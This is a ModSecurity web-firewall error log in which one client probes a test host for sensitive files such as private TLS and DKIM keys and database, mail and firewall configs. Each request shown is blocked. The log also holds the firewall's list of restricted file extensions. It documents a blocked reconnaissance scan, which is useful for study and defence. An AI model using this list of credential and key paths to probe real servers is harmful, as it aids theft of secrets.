[Sun Mar 01 20:26:11.671248 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/postfix/dkim.key&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzueyQAAAAM&quot;]
[Sun Mar 01 20:26:11.787366 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/postgresql/14/main/pg_hba.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuezgAAAAM&quot;]
[Sun Mar 01 20:26:11.788263 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/postgresql/14/main/pg_hba.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuezgAAAAM&quot;]
[Sun Mar 01 20:26:11.788595 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/postgresql/14/main/pg_hba.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuezgAAAAM&quot;]
[Sun Mar 01 20:26:11.810938 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/postgresql/14/main/postgresql.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuezwAAAAM&quot;]
[Sun Mar 01 20:26:11.811498 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/postgresql/14/main/postgresql.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuezwAAAAM&quot;]
[Sun Mar 01 20:26:11.811684 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/postgresql/14/main/postgresql.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzuezwAAAAM&quot;]
[Sun Mar 01 20:26:11.903945 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/snort/snort.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzue0wAAAAM&quot;]
[Sun Mar 01 20:26:11.904494 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/snort/snort.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzue0wAAAAM&quot;]
[Sun Mar 01 20:26:11.904674 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/snort/snort.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzue0wAAAAM&quot;]
[Sun Mar 01 20:26:11.927946 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/spf-policy.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzue1AAAAAM&quot;]
[Sun Mar 01 20:26:11.928523 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/spf-policy.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzue1AAAAAM&quot;]
[Sun Mar 01 20:26:11.928716 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/spf-policy.conf&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzue1AAAAAM&quot;]
[Sun Mar 01 20:26:11.997440 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/mail.key&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzue1wAAAAM&quot;]
[Sun Mar 01 20:26:11.997993 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/mail.key&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzue1wAAAAM&quot;]
[Sun Mar 01 20:26:11.998179 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/mail.key&quot;] [unique_id &quot;aaSS0y6-W2gySGukkzue1wAAAAM&quot;]
[Sun Mar 01 20:26:12.020356 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssmtp/ssmtp.conf&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue2AAAAAM&quot;]
[Sun Mar 01 20:26:12.020910 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssmtp/ssmtp.conf&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue2AAAAAM&quot;]
[Sun Mar 01 20:26:12.021101 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssmtp/ssmtp.conf&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue2AAAAAM&quot;]
[Sun Mar 01 20:26:12.089357 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/tls/tls.conf&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue2wAAAAM&quot;]
[Sun Mar 01 20:26:12.089883 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/tls/tls.conf&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue2wAAAAM&quot;]
[Sun Mar 01 20:26:12.090057 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/tls/tls.conf&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue2wAAAAM&quot;]
[Sun Mar 01 20:26:12.135290 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ufw/ufw.conf&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue3QAAAAM&quot;]
[Sun Mar 01 20:26:12.135851 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ufw/ufw.conf&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue3QAAAAM&quot;]
[Sun Mar 01 20:26:12.136048 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ufw/ufw.conf&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue3QAAAAM&quot;]
[Sun Mar 01 20:26:12.555340 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ffmpeg/ffmpeg.conf&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue7wAAAAM&quot;]
[Sun Mar 01 20:26:12.555875 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ffmpeg/ffmpeg.conf&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue7wAAAAM&quot;]
[Sun Mar 01 20:26:12.556059 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ffmpeg/ffmpeg.conf&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue7wAAAAM&quot;]
